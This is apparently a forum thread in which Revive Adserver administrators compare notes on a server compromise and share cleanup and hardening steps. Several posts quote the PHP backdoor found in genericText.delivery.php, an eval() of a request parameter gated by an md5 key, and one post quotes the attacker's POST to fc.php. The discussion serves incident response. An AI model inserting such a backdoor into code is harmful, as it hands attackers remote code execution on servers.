tvvpmi

For extra protection ... you can disable php execution on www/images

Yes. It's the same issue.

I have upgaded from Revive 4.2.1 to 5.0.0 After the upgrade I have a lot of banners with cached delivery rules that DO NOT AGREE with the delivery rules for the banner. If I save the banner solve the problem. If I do a "Delivery Rules Check", I get all banners with this problem. At the bottom I have this message: Errors found Some inconsistancies were found above, you can repair these using the button below, this will recompile the compiled limitation for every banner/delivery rule set in the system Executing the "Recompile" action does nothing. The only action that solves the problem is to save each banner individually.

Which kind of errors? A message saying "File permission errors detected."?

If prepend/append zones are varchar(0), they can't insert code there for sure. Check if the code is inserted in prepend/append fields of the banners table. As I post before, if the injection is done using the same strategy, you can stop it making the file "plugins/bannerTypeText/oxText/genericText.delivery.php" read only. Another good measure is to disable PHP execution on delivery images folder.

Yes. Timestamps has been changed as well. You can use linux commd "stat" to see the modification and change time stamps. Attacker is changing "modification time" to parent folder "modification time" so as not to raise suspicion This code is inserted via a POST call to fc.php. To avoid to be reinfected you can change write permisions on "plugins/bannerTypeText/oxText/genericText.delivery.php". Perhaps some revive developer can tell us, what is the function of fc.php (front controller) to decide if we can disable it or not.

Hi @vinmhas, I was in the same situation. You should review your file: plugins/bannerTypeText/oxText/genericText.delivery.php Problably it has been modified, adding a line like this at the end: if(isset($_REQUEST['oxText'])&&md5($_REQUEST['oxText'])=='2817bce4ce1ba4d9361f5f24cf33747f'){@eval($_REQUEST['zoneId']);} You have to remove it. Also you have to search in the "images folder", for some php script ... and remove it. Perhaps you can send it privately to @Ian vM Clean the prepend code of your zones ... via sql o through the revive backend. Search for iframes and javascript codes. Disable PHP execution on image folder or move image folder to "another place" as they are static files and serve them throught another subdomain. You don't need PHP for them

Message sent directly to @Ian vM

yes

I have more info. I just have received another attack just now. I have the POST parameters the attacker is using. Some of admin is interested in receiving them?

Like in @snaggy case, this line has been added at the end of genericText.delivery.php if(isset($_REQUEST['oxText'])&&md5($_REQUEST['oxText'])=='2817bce4ce1ba4d9361f5f24cf33747f'){@eval($_REQUEST['zoneId']);}

Same here. From stat genericText.delivery.php 2018-12-22 08:51:50.724940460 +0100

Last one 4.1.4 I have upgrade from prior version. But this instalation comes from an old instalation. 2.8 series I have modify the fc.php script to log post parameters. I'm waiting now for a new POST to check what we are receiving and to try reproduce the attack

CONFIRMED the point of code injection un the prepend zones are the same @sunech has previously report [06/Jan/2019:12:22:53 +0100] "POST /www/delivery/fc.php?zoneid=0&script=bannerTypeText:oxText:genericText&Charset=UTF8&target=blank HTTP/1.1" 200 23 "https://google.com/serach?q=https://<adserver>/www/delivery&aqs=chrome.1.69i57j0j7&sourceid=chrome&ie=UTF-8" "AdsBot-Google (+http://www.google.com/adsbot.html)"

The same problem here. I have access.log switched off, so I can't confirm how the injection os comming from. I have cleared all prepend code from zones table at DB, switch on logging and waiting for another injection wave.